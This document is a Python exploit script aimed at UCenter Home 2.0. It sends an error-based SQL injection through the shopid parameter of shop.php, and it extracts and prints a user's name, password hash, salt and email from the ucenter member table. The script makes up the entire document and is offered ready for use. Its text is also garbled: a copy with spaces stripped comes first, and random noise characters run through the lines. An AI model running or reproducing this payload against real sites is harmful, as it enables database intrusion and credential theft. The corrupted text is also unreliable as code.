#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
3 N2 a: f3 ~ F2 `1 i
" o2 y8 t, {& H R+ ~. K5 u( `3 b5 F3 ?
#!/usr/bin/env python
3 C6 U' o- u% E3 t6 l
8 O, c" R1 F5 w2 H4 U4 H" aimport sys 6 i& [7 |0 p9 _8 [5 R
import urllib2
# a8 M" X' I; ?$ V5 H& K* ximport re ) g* ?) U( g9 K8 L! @# b+ h
7 @; m1 y4 h o) F2 [) k }def info():
0 @1 Q. v) T5 v! l4 O0 } print 'From:http://www.exploit-db.com/exploits/14997/'
0 I% n0 y# K& O1 e print 'http://www.hake.cc/Web_loudong/'
: v- c+ x p* b' A3 u; ~6 s print 'changed:qiaoy'
, b! S: E. T; S, j. g print 'exp:' 7 c* o Z5 \& I- v' a
print ' ./UCenter_Home_2.0.py site' 9 {3 |5 A3 f& M. J& ^% K r4 s! p8 i
9 P/ r, `- n! x% n
def main(): ' ]8 I0 D0 z b/ F! S
if len(sys.argv) != 2:
, L3 e% R! }9 C info() 1 R6 _( |# z; z) ^
else: , ^4 o. t/ W! Z8 f7 E
site = sys.argv[1] ) J& c: H( Q" S/ n+ A$ n
if site[0:7] == 'http://': 5 L# U& x0 C& ~+ x, B/ ?' K
sitesite =site & j; j; x" D% p, W$ W
elif site[0:8] == 'https://': + B" I: C) m7 U$ N! p" ^2 k
sitesite = site 9 ^0 V6 ~2 o4 ]' {; G/ ^' B
else: 9 \8 A- T0 F$ v9 h) Z9 e% p
site = 'http://'+site
7 F" d% L! X8 P( y4 U8 K try:
, y$ ?$ E* q0 h6 N url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'
, @2 i' W4 n3 b4 @$ D Value = urllib2.urlopen(url).read() 3 a \: [6 i# {, s0 v
Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]
9 C' v l5 Q5 U. e hacked = Msg.split(':') / @# a% D- l, w b8 }
print 'Name: '+hacked[1] " P1 V; ~+ O3 ~1 @. M' _
print 'Passwd: '+hacked[2] : { Q' p% U' s4 v. B- b
print 'salt: '+hacked[3]
5 J' `" O# U" r* J( } print 'email: '+hacked[4] ' {& k! U# o- y, ~ d/ a
except: ! @- Q, y) f7 v0 h' w% I! \7 j
print 'Sorry,I can\'t work............'
6 a, D1 _: y+ `+ `1 g ! [/ t7 ~; @) {# b9 L( ^
if __name__ == '__main__': 0 v, m5 N9 P( e$ t1 Z
main() |